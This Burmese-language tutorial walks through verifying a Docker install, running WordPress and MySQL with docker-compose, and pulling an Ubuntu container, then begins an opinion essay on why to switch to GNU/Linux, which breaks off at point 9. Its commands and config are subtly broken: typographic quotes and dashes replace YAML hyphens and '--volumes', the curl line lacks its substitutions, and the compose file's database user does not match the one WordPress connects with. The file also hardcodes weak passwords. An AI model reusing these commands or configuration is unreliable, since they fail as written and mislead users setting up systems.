Docker အလုပ်လုပ်သလား မလုပ်ဘူးလာကို စစ်ချင်ရင် hello-world ဆိုတဲ့ container နဲ့ စစ်လို့ရပါတယ်။

```
$ sudo docker run hellow-world

Unable to find image ‘hello-world:latest’ locally
latest: Pulling from library/hello-world
ca4f61b1923c: Pull complete
Digest: sha256:ca0eeb6fb05351dfc8759c20733c91def84cb8007aa89a5bf606bc8b315b9fc7
Status: Downloaded newer image for hello-world:latest
Hello from Docker!

This message shows that your installation appears to be working correctly.
```

အထက်မှာလိုမျိုး ပြရင်တော့ Docker ကို install လုပ်တာ အောင်မြင်ပါပြီ။

စမ်းသပ်လို့ အဆင်ပြေတယ်ဆိုရင်တော့ နောက်တဆင့်မှာ လိုအပ်တဲ့ initial configuration အနည်းငယ်လုပ်ပြီရင်တော့ စပြီးအသုံးပြုဖို့ ready ဖြစ်ပါပြီ။ ဒီအဆင့်မှာလည်း တခါ Ubuntu command တွေတူပါတယ်။

အရင်ဆုံး Docker Engine ရဲ့ status ကို ကြည့်လိုက်ရအောင်။

```
$ sudo systemctl status docker
```

အထက်က command ရိုက်ထည့်လိုက်ပြီးတော့ အောက်ကလိုမျိုးပြရင်တော့ Docker engine က active ဖြစ်နေပါပြီ။

```
● docker.service – Docker Application Container Engine
Loaded: loaded (/lib/systemd/system/docker.service; enabled; vendor preset: enabled)
Active: active (running) since Sun 2018-02-25 10:29:52 AEDT; 3min 53s ago
Docs: 
https://docs.docker.com

Main PID: 4813 (dockerd)
```

Docker ရဲ့ command တွေကိုရိုက်ထည့်တိုင်းမှာ super user အနေနဲ့ရိုက်ထည့်ရတဲ့ အတွက် လက်ရှိကိုယ်သုံးတဲ့ user account ကို docker ဆိုတဲ့ users group ထဲကို အောက်က command ရိုက်ထည့်ရပါလိမ့်မယ်။ ပြီးသွားရင် ကိုယ် user account က docker ဆိုတဲ့ users group ထဲမှာ ပါဝင်သွားပြီလားဆိုတာကိုလည်း တခါတည်း စစ်ကြည့်လို့ ရပါတယ်။ နောက်ပိုင်း တခြား Docker command တွေသုံးတဲ့အခါမှာ ဒီတစ်ခု မလုပ်ထားဘူးဆိုရင် troubleshoot လုပ်ရတဲ့ step အပိုတွေလုပ်ရနိုင်ပါတယ်။ ဒါကြောင့် ဒီအဆင့်က အရေးကြီးပါတယ်။

```
$ sudo usermod -aG docker ${USER}
$ su – ${USER}
$ id -nG
```

အခုဆိုရင်တော့ Docker ကို install လုပ်တာပြီးသွားပါ။ Docker ကို စပြီးတော့ သုံးလို့ရပါပြီ။

ပထမဆုံး docker မှာ သုံးလို့ရတဲ့ command တွေကို ကြည့်လိုက်ရအောင်။ docker ဆိုတာရိုက်ထည့်လိုက်တာနဲ့ docker မှာ သုံးလို့ရတဲ့ command တွေကို ပြပါလိမ့်မယ်။

Docker command တစ်ခုချင်းစီကို အသေးစိတ် မသွားတော့ပါဘူး။ စာရေးသူရဲ့ မူရင်း ရည်ရွယ်ချက်က Docker မိတ်ဆက်ပေးပြီးတော့ စိတ်ဝင်စားစရာ ဖြစ်အောင်လုပ်ပေးဖို့ပါပဲ။ ကိုယ်က စိတ်ဝင်စားတယ် အသေးစိတ် လေ့လာချင်ရင်တော့ Docker ရဲ့ documentation ကို ဒီ [link ](https://docs.docker.com/get-started/)ကနေသွားကြည့်ပြီးတော့ လေ့လာလို့ရပါတယ်။

### Docker ကိုဘယ်လိုမျိုးလက်တွေ့ အသုံးချမလဲ

Docker ရဲ့ command တွေကို အသေးစိတ် မရှင်းပေမယ့်လည်း၊ လက်တွေ့မှာ ဘယ်လိုမျိုး အသုံးချလို့ရသလဲဆိုတာကို နည်းနည်းလေး ဆွေးနွေးချင်ပါတယ်။ လက်တွေ့ အသုံးချတဲ့ပုံကို သိတဲ့အခါမှ နည်းပညာ တစ်ခုက ပိုပြီးတော့ စိတ်ဝင်စားဖို့ကောင်းတယ်လို့ စာရေးသူမြင်ပါတယ်။ အသေးစိတ်သွားတာမဟုတ်ပေမယ့် ဥပမာ နှစ်ခုလောက်နဲ့ လက်တွေ့အသုံးချပုံကို ရှင်းသွားပါ့မယ်။

#### Docker Compose Tool နဲ့ customized container တစ်ခုတည်ဆောက်ခြင်း

ပထမဆုံး အနေနဲ့ WordPress ကို Docker နဲ့ ဘယ်လို compose လုပ်သလဲဆိုတာ ဆက်ရှင်းပါ့မယ်။ အရင်ဆုံး ဒီနည်းကိုသုံးမယ်ဆိုရင် docker compose tool ကို install လုပ်ရပါလိမ့်မယ်။ အောက်က command ကို သုံးပြီးတော့ github ပေါ်ကနေ download ဆွဲရပါလိမ့်မယ်။

```
$ sudo curl -L https://github.com/docker/compose/releases/download/1.19.0/docker-compose-uname -s–uname -m -o /usr/local/bin/docker-compose
```

Download လုပ်ပြီးသွားရင်တော့ docker-compose file ကို executable mode ရအောင်လို့ attribute ကို အောက်က command နဲ့ ပြောင်းပေးရပါလိမ့်မယ်။

```
$ sudo chmod +x /usr/local/bin/docker-compose
```

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-521a64238b811c43f7326a4650da4527408deaf1%2Ftechtip77-docker-compose-768x413.png?alt=media" alt=""><figcaption></figcaption></figure>

ဒီတစ်ခုမှာလည်း ကိုယ်သုံးတာ Ubuntu သို့မဟုတ် CentOS အနေနဲ့ သုံးတယ်လို့ ယူဆပါ။ ကိုယ့်ရဲ့ home directory မှာ wordpress ဆိုတဲ့ project directory တစ်ခု အရင်တည်ဆောက်လိုက်ပါ။ ပြီးတော့ အဲ့ဒီ directory အောက်မှာ docker-compose.yml ဆိုတဲ့ file တစ်ခုကို ဖန်တီးလိုက်ပါ။ ပြီးတော့ အဲ့ဒီ ကို ကိုယ်ကြိုက်တဲ့ text editor တစ်ခုကို သုံးပြီးတော့ အောက်က script ကို ကူးယူပြီးတော့ ထည့်လိုက်ပါ။

```
version: “3.3”
services:
     db:
          image: mysql:5.7
          volumes:
               – dbdata:/var/lib/mysql
          restart: always
          environment:
                   MYSQL_ROOT_PASSWORD: !@mR00t
                   MYSQL_DATABASE: wordpress
                   MYSQL_USER: wp-admin
                   MYSQL_PASSWORD: wordpress
     wordpress:
            depends_on:
                    – db
            image: wordpress:latest
            ports:
                – “8000:80”
            restart: always
            environment:
                   WORDPRESS_DB_HOST: db:3306
                   WORDPRESS_DB_USER: wordpress
                   WORDPRESS_DB_PASSWORD: wordpress
volumes:
        dbdata:
```

အပေါ်က script ကိုကြည့်လိုက်တာနဲ့ နားလည်ဖို့ လွယ်ပါတယ်။ Services နှစ်ကို လိုချင်လို့ services အောက်မှာ wordpress နဲ့ တွဲသုံးဖို့ db: ကိုတည်ဆောက်ဖို့ ရည်ရွယ်ပါတယ်။ ယူသုံးတဲ့ image ကို mysql:5.7 ဆိုပြီးတော့ သတ်မှတ်လိုက်ပါတယ်။ database ကို /var/lib/mysql အောက်မှာ သိမ်းဖို့ကို ပြောထားပါတယ်။ နောက်ပြီးတော့ restart policy ရဲ့ default ဖြစ်တဲ့ no မလုပ်ချင်လို့ restart: always လုပ်မယ်လို့လည်းပြောထားပါတယ်။ ဘာကို ဆိုလိုသလဲဆိုတော့ လိုအပ်လို့ပဲဖြစ်ဖြစ်၊ on-failure error ဖြစ်လို့ပဲဖြစ်ဖြစ် restart အမြဲလုပ်မယ်လို့ ဆိုလိုတာပါ။ ဒါမှမဟုတ်ရင် service က ဘာမှမလုပ်ပဲ frozen ဖြစ်သွားနိုင်လို့ပါ။ နောက်တပိုင်းကတော့ environment: ဆိုတဲ့ အပိုင်းပါ။ ဒီတစ်ခုကလည်း ရှင်းပါတယ်။ WordPress ရဲ့ အခြေခံ လိုအပ်သော environmental variables တွေဖြစ်တဲ့ MYSQL\_ROOT\_PASSWORD (MySQL db management အတွက်လိုအပ်တဲ့ root passwordပါ။)၊ MYSQL\_DATABASE (db ရဲ့ နာမည် ကိုသတ်မှတ်ပေးတာပါ။)၊ MYSQL\_USER (အဲ့ဒီ db အတွက်လိုအပ်တဲ့ username ပါ။)၊ MYSQL\_PASSWORD (ဒါကတော့ create လုပ်ထားတဲ့ user account အတွက် password ပါ။)။

Services အောက်က ဒုတိယတပိုင်းကတော့ wordpress: ဆိုတဲ့ တစ်ခုပါ။ ဒီမှာလည်း အပေါ်ကတစ်ခုနဲ့ အတူတူပါပဲ။ depend-on: ဆိုတာ services နှစ်ခုဖြစ်တဲ့ အတွက် အဲ့ဒီ နှစ်ခုကို တွဲသုံးတဲ့အခါမှာ လိုအပ်တဲ့ dependencies ကို စစ်လိုက်တာပါ။ အပေါ်က db ဆိုတဲ့ အပိုင်းကို ပြန်ပြီးတော့ reference လုပ်ပါတယ်။ နောက်တခါ နောက်ဆုံးထွက်ထားတဲ့ wordpress ဆိုတဲ့ container image ကို သုံးဖို့ကို ပြောထားပါတယ်။ ports: ဆိုတဲ့ဟာကတတော့ container ကနေပြီးတော့ host ကို communicate လုပ်တဲ့အခါမှာ ဘယ် port number နဲ့ expose လုပ်မလဲဆိုတာကို ပြောထားတာပါ။ 8000:80 ဆိုတာ container က http ရဲ့ port number ဖြစ်တဲ့ 80 ကို host ပေါ်မှာ port number 8000 နဲ့ expose လုပ်ထားတာပါ။ နောက်ပိုင်းမှာ wordpress ကို access လုပ်တဲ့အခါ အဲ့ဒီ port 8000 ကို ကိုယ့်စက်ရဲ့ IP address သို့မဟုတ် localhost ဆိုတဲ့ အနောက်မှာ ထည့်ပြီးတော့ web browser ကနေ access လုပ်ရပါလိမ့်မယ်။ နောက်ဆုံး အပိုင်းကတော့ အပေါ်မှာ MySQL ရဲ့ environmental variable တွေကို သတ်မှတ်သလိုပဲ WordPress အတွက် သတ်မှတ်ပေးလိုက်တာပါ။

အခုဆိုရင်တော့ customized container တစ်ခုတည်ဆောက်ဖို့ docker compose tool နဲ့ script နှစ်ခုလုံး အဆင်သင့် ဖြစ်ပါပြီ။ အောက်က command ကို အခုက ကိုယ် တည်ဆောက်ထားတဲ့ project directory အောက်ကမှာ ရိုက်ထည့်လိုက်ပါ။

```
$ docker-compose up -d 
```

ဒီနေရာမှာ -d ဆိုတဲ့ parameter က docker-compose up command ကို detached mode မှာ run လို့ ပြောလိုက်တာပါ။ အားလုံးအဆင်ပြေရင်တော့ အောက်ကအတိုင်း တွေ့ရပါလိမ့်မယ်။

```
~/docker-wp-project$ docker-compose up -d
Creating network “dockerwpproject_default” with the default driver
Creating volume “dockerwpproject_dbdata” with default driver
Pulling db (mysql:5.7)…
5.7: Pulling from library/mysql
4176fe04cefe: Pulling fs layer
d1e86691d483: Downloading [==================================================>] d1e86691d483: Download complete
ffadeffb3eb4: Downloading [> ] ffadeffb3eb4: Downloading [=> ] ffadeffb3eb4: Downloading [====> ] ffadeffb3eb4: Downloading [======> ] 4176fe04cefe: Pull complete
d1e86691d483: Pull complete
ffadeffb3eb4: Pull complete
6c2c640eac6b: Pull complete
cec6a6ff8ae8: Pull complete
af71dde5fa23: Pull complete
2546980014e4: Pull complete
a525a4f1d664: Pull complete
af610cdb4173: Pull complete
fe36edc2517a: Pull complete
Digest: sha256:4f9323cb4aeca062fd1a341b50c7721b9aef6bff3ded806dec0897323b8b7be8
Status: Downloaded newer image for mysql:5.7
Pulling wordpress (wordpress:latest)…
latest: Pulling from library/wordpress
8176e34d5d92: Pull complete
f6c81892adaa: Pull complete
c8125c73b868: Pull complete
5ef22f6299b6: Pull complete
8537460e9a8c: Pull complete
b837671b83f0: Pull complete
366ea9d8b411: Pull complete
c4dd539af472: Pull complete
445753fb3ee6: Pull complete
6811f6b5d500: Pull complete
2ca365cdc65d: Pull complete
c91023a57f04: Pull complete
dcf0735fda8a: Pull complete
6b23fdc3538b: Pull complete
2eed880b86fe: Pull complete
798b2e547e59: Pull complete
159be43511e4: Pull complete
b5605b08f665: Pull complete
20d8e9ec2764: Pull complete
Digest: sha256:670e4156377063df1a02f036354c52722de0348d46222ba30ef6a925c24cd46a
Creating dockerwpproject_db_1 … done
Creating dockerwpproject_db_1 …
Creating dockerwpproject_wordpress_1 … done
```

နောက်အဆင့်ကတော့ ကိုယ်ကြိုက်တဲ့ web browser ထဲမှာ localhost:8000 သို့မဟုတ် ကိုယ်ရဲ့ IP Address:8000 ဆိုတာကို ရိုက်ထည့်လိုက်ပါ။ အောက်ကအတိုင်း WordPress ကို install လုပ်ဖို့အတွက် အဆင်သင့်ဖြစ်သွား ပါပြီ။

Prompt ထဲမှာပြထားတဲ့ အတိုင်းလိုတဲ့ဟာတွေကို ထည့်ပြီးတော့ ကိုယ်ကြိုက်သလို setup လုပ်သွားပြီးတော့ WordPress installation ကို ပြီးအောင်လုပ်ဖို့ နောက်ထက် ၃ မိနစ်လောက်ဆို အားလုံး အဆင်သင့်ဖြစ် ပါပြီ။

ကိုယ်က စမ်းပြီးတော့ ဒီ project ကို ကိုယ်စက်ပေါ်ကနေ လုံးဝ remove ပြန်လုပ်ချင်ရင်တော့ အောက်က command ကိုရိုက်ထည့်လိုက်ပါ။

```
$ docker-compose down –volumes
```

Docker မှာ WordPress ကို အခုလို အလွယ်တကူ မိနစ်ပိုင်း အတွင်းမှာ setup လုပ်လို့ရပါတယ်။ Docker မသုံးခင်ကဆို XAMPP လို solution stack တစ်ခုခု သုံးပြီးတော့ ကိုယ့်ရဲ့ WordPress တို့ MediaWiki တို့လို project တွေကို ကိုယ်စက်ပေါ်မှာ စမ်းသပ်သုံးပါ။ ပြဿနာက XAMPP တို့ WAMP တို့ MAMP တို့လို solution stack တွေက resource intensive ဖြစ်ပါတယ်။ Docker ကတော့ ပိုပြီးတော့ portable လည်းဖြစ်၊ lightweight လည်းဖြစ်တဲ့အတွက် ပိုအဆင်ပြေပါတယ်။ စာရေးသူ ကိုယ်တိုင် Windows OS ပဲရှိတယ်၊ Windows OS ပဲသုံးရမယ်ဆိုရင်တော့ XAMPP ကိုပဲသုံးဖြစ်ပါတယ်။ Docker ကိုသုံးတဲ့အခါမှာ Microsoft implementation ကို ရှောင်တဲ့ သဘောပါ။

#### Docker နဲ့ တခြား containers တွေကို ဆွဲယူသုံးပုံ

အထက်ကတစ်ခုကတော့ docker-compose ကိုသုံးပြီးတော့ customized WordPress container တစ်ခုတည်ဆောက်ပုံကို ရှင်းပြထားတာပါ။ ဒီအပိုင်းကတော့ Docker ကိုလက်တွေ့ အသုံးချပုံကို ဒုတိယ ဥပမာ အနေနဲ့ ပြချင်တာပါ။

ဆိုပါတော့ ကိုယ်က Ubuntu ဆိုတဲ့ container ကို Docker Hub ပေါ်ကနေ ဆွဲယူ သုံးချင်တယ်ဆိုရင်တော့ အောက်က command ကို ရိုက်ထည့်လိုက်ရုံပါပဲ။

```
$ sudo docker run -it ubuntu
[sudo] password for tyla:
Unable to find image ‘ubuntu:latest’ locally
latest: Pulling from library/ubuntu
1be7f2b886e8: Pull complete
6fbc4a21b806: Pull complete
c71a6f8e1378: Pull complete
4be3072e5a37: Pull complete
06c6d2f59700: Pull complete
Digest: sha256:e27e9d7f7f28d67aa9e2d7540bdc2b33254b452ee8e60f388875e5b7d9b2b696
Status: Downloaded newer image for ubuntu:latest
root@49f8a606967a:/#
```

အထက်မှာတွေ့ရတဲ့ အတိုင်း Ubuntu container က အဆင်သင့်ဖြစ်ပြီ ဆိုရင် root ဆိုတဲ့ prompt လေးတစ်ခု ပေါ်လာပါလိမ့်မယ်။ ဒါဆိုရင်တော့ ကိုယ်က Ubuntu container ရဲ့ အထဲမှာ root အနေနဲ့ ရောက်နေပြီလို့ ပြောလို့ရပါတယ်။ တခုရှိတာက Ubuntu container မှာ သုံးလို့ရတဲ့ command တွေက Full Blown Ubuntu installation မှာလိုမျိုးတော့ အလုံးစုံ မပါဝင်ပါဘူး။ Docker container ဖြစ်တဲ့အတွက် strip down version၊ lightweight distro တခုလိုမျိုးလောက်သာဖြစ်ပါတယ်။ သို့သော်လည်း full blown Ubutnu မှာလို ကိုယ် install လုပ်ချင်တာတွေကို ထပ်ပြီးတော့ ထည့်လို့တော့ရပါတယ်။

တခြား Docker container တွေကိုလည်း စိတ်ဝင်စားလို့ စမ်းကြည့်ချင်တယ်ဆိုရင်လည်း ဒီ [link](https://hub.docker.com/explore/) မှာသွားကြည့်ပြီးတော့ pull လုပ်လို့ရပါတယ်။ run လုပ်လို့ရပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-63466dd702d93879b6a35e29bb50b3c90aa46d28%2Finformix-on-docker-hub-4-638.jpg?alt=media" alt=""><figcaption></figcaption></figure>

Docker မိတ်ဆက်ကို ဒီမှာပဲ ရပ်လိုက်ပါတော့မယ်။ အပိုင်း ၃ ပိုင်းလည်း ရေးပြီးသွားပြီဆိုတော့ မိတ်ဆက်အတွက်တော့ တော်တော်လေးလုံလောက်သွားပြီလို့ စာရေးသူထင်ပါတယ်။ နောက်ပိုင်းမှာတော့ Docker နဲ့ ပတ်သတ်ပြီး ပိုပြီးတော့ အဆင့်မြင့်တဲ့ အကြောင်းလေးတွေကို ဆက်ရေးဖို့တော့ ရှိပါတယ်။


# GNU/Linux ကိုဘာလို့ ပြောင်းသုံးသင့်သလဲ

GNU/Linux ကိုပြောင်းသုံးဖို့ ကိစ္စကို စာရေးသူကိုယ်တိုင် ဟိုအရင်တုန်းကတည်း ခဏခဏ စဉ်းစားမိပါတယ်။ ကိုယ်တိုင်းလည်း ပြောင်းသုံးဖို့တော်တော်အချိန်ယူခဲ့ ရပါတယ်။ Windows နဲ့macOS သုံးလို့ အဆင်ပြေနေတာကိုဘာလို့ ရှုပ်အောင် Linux ပြောင်းသုံးမှာလဲလို့လည်း ကိုယ့်ဟာကိုယ်ပြန်မေးမိတယ်။ ကိုယ်သုံးနေကြ software တွေ application တွေတော်တော်များက Windows မှာအကုန်ရှိပါတယ်။ သုံးတဲ့ software တွေကလည်း Windows OS ကစလို့ Adobe တို့ MS Office suite တို့ဆိုတာတွေကလည်း အကုန် crack ထားတဲ့ဟာတွေ ကြီးပဲ။ အရင်တုန်းကတော့ crack မှမသုံးလဲ သုံးစရာမရှိဘူး license ကို ကိုယ်က ဝယ်ချင်တယ်ဆိုတာတောင်မှ မြန်မာနိုင်ငံမှာ ဘယ်နားသွားဝယ် လိုက်ရမလဲ မသိဘူး။ ဆိုင်တွေမှာရောင်းတာနဲ့ ကွန်ပြူတာဆိုင်တွေ ကထည့်ပေး လိုက်တာတွေကလည်း အကုန်လုံး crack တွေကြီးပဲဆိုတော့ ဘာမှလုပ်လို့မရဘူး။ ဒါကလည်း မြန်မာနိုင်ငံတစ်ခုတည်းမှာ ဖြစ်တဲ့ကိစ္စမဟုတ်ဘူး။ Asia က developing နဲ့ undeveloped နိုင်ငံတွေမှာက pirate software တွေကိုရှောင်လို့မရပါဘူး။

စာရေးသူ ကိုယ်တိုင် စသုံးတဲ့ OS ကတော့ Windows 95 ပါ။ ကိုယ်ပိုင် ကွန်ပြူတာမဟုတ်ပါဘူး။ သူများကွန်ပြူတာကို သွားသွားသုံးခဲ့ရတာပါ။ Windows 3.x တွေကိုတောင် စာရေးသူမမှီခဲ့ပါဘူး။ ကွန်ပြူတာတွေကလည်း အဲ့ဒီတုန်းစျေးတွေ အရမ်းကြီးတော့ အိမ်ကိုလည်း ဝယ်ခိုင်းရတာမလွယ်လှပါဘူး။ နောက်တော့မှ သုံးပြီးသား ကွန်ပြူတာ အဟောင်းတစ်လုံးကို စျေးကြီးပေးဝယ် ပြီးတော့ သုံးပါတယ်။ အဲ့ဒီကွန်ပြူတာကလည်း ဝယ်တုန်းက Windows ME နဲ့ပါ။ နောက်ပိုင်းတော့ Windows XP ပြောင်းပြီးသုံးပါတယ်။ အဲ့ဒီတော့ စာရေးသူကိုယ်တိုင်က Windows နဲ့အကျွမ်းဝင်ခဲ့တာပါ။ macOS ဆိုတာမျိုးက ရန်ကုန်က Forever ဆိုတဲ့ graphic သင်တန်းတက် တုန်းကသာ သုံးဖူးတာပါ။ Windows ကိုသာသုံးဖူးတဲ့ စာရေးသူကိုယ်တိုင် Linux စပြောင်းသုံးဖို့ လုပ်တုန်းက ဘာလို့ပြောင်းသုံး မှာလဲလို့ကိုယ်ဟာကို မေးခွန်းထုတ်ခဲ့ဘူး ပါတယ်။ နောက်ပိုင်း ကိုယ့် မိသားစုဝင်တွေကိုပါ Linux ပြောင်းသုံးဖို့ ပြောတော့လည်း အဲ့ဒီမေးခွန်းကို အမေးခံခဲ့ရပါတယ်။ အရင်တုန်းကတော့ Linux ဆိုတာမျိုးက geek တွေ hacker တွေသာ သုံးတယ်လို့သာ သိထားခဲ့တာပါ။ အဲ့ဒီတုန်းကတော့ install လုပ်ရတာ၊ အသုံးပြုရတာက အခုလိုမျိုးလွယ်လည်း မလွယ်ပါဘူး။ အခုတော့ တချို့Linux distro တွေက Windows တွေထက် တောင်သုံးရတာလွယ်ပါသေးတယ်။ အောက်မှာတော့ ဘာကြောင့် Linux ကိုပြောင်းသုံးသင့်သလဲဆိုတဲ့ အချက် ၁၀ ချက်ကိုဆွေးနွေးကြည့်ပါ့မယ်။ စာရေးသူ တကိုယ်ရည် အမြင်ကိုသာ ဆွေးနွေး ဖော်ပြသွားမှာဖြစ်ပါတယ်။

**၁. လွတ်လပ်စွာ အခမဲ့ download သို့မဟုတ် ကူးယူနိုင်ခြင်း**\
ပထမတစ်ချက်ကတော့ လယ်ပြင်မှာဆင်သွားသလို့ထင်ရှားလို့နေပါတယ်။ Linux ကအခမဲ့ဖြစ်ပါတယ်။ Windows လို license ကိုစျေးကြီးပေး ဝယ်စရာမလိုပါဘူး။ crack လုပ်စရာလည်းမလိုပါဘူး။ crack ဆိုတဲ့ဟာမှာ trojan ကိုတွေထည့်ပေးလိုက်နိုင်ပါတယ်။ ဒါကြောင့် ဘာမှ crack လုပ်စရာမလိုတဲ့ အခမဲ့ရနိုင်တဲ့ Linux ကိုသုံးသင့်ပါတယ်။

**၂. virus နဲ့တခြား malware တွေရန် နည်းခြင်း**\
ရန်နည်းတယ်လို့ဆိုတဲ့ နေရာမှာ virus လုံးဝ မရှိဘူးပြောခြင်း မဟုတ်ပါ။ ဒါပေမယ့် Windows တို့Mac တို့လောက်တော့ virus နဲ့malware တွေရန်မများပါဘူး။ အရင်တုန်း Apple Mac က virus ရန်မရှိဘူးလို့ လူတွေပြောကြပါတယ်။ အခုချိန်မှာတော့ အဲ့ဒီစကားဟာ မမှန်တော့ပါဘူး။ Mac မှာလည်း virus တွေရှိလာပါပြီး။ နောက်တစ်ခုက Windows မှာ OS ကို install လုပ်ပြီးတာနဲ့ Anti-virus software တစ်ခုခုကို ထည့်သွင်းပေးရပါတယ်။ တချို့ လည်း အခမဲ့ ဖြစ်ပြီး တချို့လည်း ဝယ်ရပါတယ်။ ဘယ်လိုပဲဖြစ်ဖြစ် anti-virus software ဟာ system performance အတွက် မကောင်းပါဘူး။ တခါတခါ မလိုအပ်ပဲနဲ့ real-time protection လိုဟာမျိုးက Memory နဲ့ CPU utilization တွေအတွက် မကောင်းပါဘူး။ system resource မလိုအပ်ပဲနဲ့ကုန်တာပါ။ Linux မှာတော့ virus နဲ့malware ရန်နည်းတဲ့အတွက် anti-virus မလိုပါဘူး။ ရိုးရိုး user မှာလည်း root access မရှိတဲ့အတွက် user error ကနေတဆင့် မလိုလားအပ်တဲ့ script ကို run မိမှာကို သိပ်ပြီးစိုးရိမ်စရာမရှိပါဘူး။

**၃. အစားထိုး အခမဲ့ software နဲ့application ပေါများခြင်း**\
Windows ကပြောင်းလိုသည် ဖြစ်စေ Mac ကပြောင်းလိုသည် ဖြစ်စေ သုံးနေကျ software နဲ့application တွေကို အစားထိုးဖို့ Linux မှာမခက်ပါဘူး။ ဥပမာ MS Office Suite လို နာမည်ကြီး ပြီးလူသုံးများတဲ့ application တွေကို အစားထိုးဖို့ Linux မှာ LibreOffice ရှိပါတယ်။ စာရေးသူအနေနဲ့ LibreOffice က feature ပိုတောင်မှ စုံစုံလင်လင်ရှိတယ်လို့ခံစားရပါတယ်။ LibreOffice က open source ပါ။ အရင်တုန်း ကတော့ OpenOffice ဆိုပြီးလူ သိများတဲ့ Office Suite ပါ။

**၄. Open Source ဖြစ်ခြင်း**\
နောက်တစ်ခုကတော့ Linux က open source ပါ။ အဲ့ဒီတော့ source code ကို access လို့ရတဲ့အပြင်၊ ပြင်ချင်ရင်လည်း ကိုယ်ကြိုက်သလိုပြင်ပြီးတော့ စိတ်ကြိုက်သုံး လို့ရပါတယ်။ အကောင်းဆုံး ဥပမာကတော့ Goobuntu ကိုပြ ရပါမယ်။ Goobuntu ဟာ Ubuntu ရဲ့ LTS version တွေကို အခြေခံပြီးတော့ Google ရဲ့ အတွင်း ဝန်ထမ်းတွေသုံး ဖို့အတွက် ပြင်ဆင်ထားတဲ့ distro တစ်ခု ဖြစ်ပါတယ်။ Open source ဖြစ်လို့သာ အဲ့ဒီလို customize လုပ်ပြီး Google အတွက်သုံး လို့ရတာပါ။

**၅. Security ပိုင်းမှာပိုမို လုံခြုံမှုရှိခြင်း**\
Linux က security ပိုင်းမှာတော့ Windows ထက်ပိုပြီး တော့ လုံခြုံမှုရှိပါတယ်။ အဲ့ဒါကြောင့်လည်း server တွေတော်တော် များများမှာ Linux ကိုသုံးကျပါတယ်။ များသောအားဖြင့် Linux server တွေမှာတော့ Microsoft လို့ GUI မရှိပါဘူး။ terminal command တွေကိုသာ အသုံးပြုရပါတယ်။ desktop ထည့်ချင်လည်း ထည့်လို့တော့ ရပါတယ်။ ဒါပေမယ့် ပုံမှန်အားဖြင့်တော့ ဘယ် Linux administrator ကမှ server မှာ desktop မသုံးပါဘူး။ GUI မရှိတဲ့အတွက် attack surface နည်းသွားတယ် လို့တော့ စာရေးသူမြင်ပါတယ်။ attack လုပ်ရတာပိုပြီးတော့လည်း ခက်ခဲသွားပါတယ်။ အခုနောက်ပိုင်းတော့ Microsoft ကလည်း Linux လိုပုံစံမျိုးကို လိုက်လုပ်ပြီး core server လို့ခေါ်ပါတယ်။ powershell ကိုသုံးပြီးတော့ manage လုပ်ရပါတယ်။

**၆. အခမဲ့ Community Support နဲ့အလွန် ကောင်းမွန်တဲ့ wiki များရှိခြင်း**\
Linux က OS ကိုအခမဲ့ရ ရုံသာမက support ကို သက်ဆိုင်ရာ community ဆီကနေ အခမဲ့ရပါတယ်။ ဥပမာ Ubuntu သုံးတယ်ဆိုရင် Ubuntu Community မှာကိုယ်မသိလို့ အခမဲ့မေးလို့ရပါတယ်။ Microsoft လို proprietary software တွေမှာတော့ support ကို စျေးကြီးပေးပြီး ထပ်ဆောင်း ပေးဝယ်ရပါတယ်။ TechNet လို့knowledge base (KB) တွေရှိပေမယ့်လည်း လိုအပ်ချက်တွေရှိနေပါတယ်။ နာမည်ကြီးတဲ့ Linux distro တွေမှာတော့ သက်ဆိုင်ရာ wiki ကောင်းကောင်းရှိပါတယ်။ Arch Linux က wiki ကောင်းလို့နာမည်ကြီးတဲ့ distro တစ်ခုဖြစ်ပါတယ်။

**၇. Linux kernel ရဲ့ကောင်းမွေ တွေအားလုံးကို GNU/Linux distro တိုင်းမှာရရှိနိုင်ခြင်း**\
Linux kernel က Microsoft မှာသုံးတဲ့ kernel ထက်အများကြီးရှေ့ရောက်နေပါတယ်။ ထင်ရှားတာ တစ်ခုကိုပြောရရင်တော့ resource management မှာ Linux kernel ကသိသိသာသာ ကြီးကိုကောင်းပါတယ်။ ဥပမာပေး ရရင်တော့ Microsoft ရဲ့ Blue Screen Of Death (BSOD) ဟာ သူ့ kernel က resource ကိုကောင်းကောင်း handle မလုပ်နိုင်လို့ဖြစ်တဲ့ error ပါ။ Linux မှာတော့ Linux kernel က resource management မှာ တော်တော်လေးကို smart ဖြစ်တယ်လို့ဆိုရမှာပါ။ BSOD ဆိုတာမျိုး Linux မှာမရှိပါဘူး။ အဆိုးဆုံး အနေနဲ့system frozen ဖြစ်သွားပြီးတော့ အမြန်ဆုံး သူ့ကိုသူ recover ပြန်လုပ်ပါတယ်။ Memory ကို manage လုပ်တဲ့နေရာမှာ swap partition ကိုထိထိရောက် အသုံးချပါတယ်။ အဲ့ဒါကြောင့် Linux မှာ swap ကမရှိမဖြစ်လိုအပ်ပါတယ်။ Microsoft က virtual memory ဆိုတဲ့ paging မှာတော့ Linux ရဲ့ swap လောက်အလုပ်မဖြစ်ပါဘူး။

**၈. အခမဲ့ distro တွေမှာမှ ကိုယ်ကြိုက်တဲ့ flavour ရွေးချယ်စရာများခြင်း**\
သိကြပြီးတဲ့အတိုင်း Linux မှာကိုယ်ကြိုက်တဲ့ flavor ပေါ်မူတည်ပြီးတော့ distro ပြောင်းသုံး လို့ရပါတယ်။ တချို့က Red Hat ကိုလိုက်ချင်လို့Fedora တို့CentOS တို့ သုံးပါတယ်။ တချို့ ကလည်း Debian ကိုလိုက်ချင်လို့ Ubuntu တို့ Mint တို့ကို သုံးပါတယ်။ ပိုကောင်းတာ မကောင်းတာကတော့ user ပေါ်မှာပဲမူတည် ပါတယ်။ Microsoft မှာတော့ flavour ဆိုတာမရှိပါဘူး။ Windows 10 ထွက်လို့သုံးချင်ရင် professional လား enterprise လားဆိုတာပေါ်မူတည်ပြီး စျေးတွေက ကွာသွားပြန်ပါတယ်။ အဲ့ဒီတော့ Linux မှာပိုပြီးတော့ ရွေးချယ်စရာ ရှိနေပြီးတော့ အခမဲ့ပါ။ အခုနောက်ပိုင်း Gamer တွေအတွက် SteamOS လို distro တွေတောင်ရှိလာပါပြီ။

**၉. Low-end PC တွေ Laptop တွေမှာသုံးလို့ရခြင်း**\
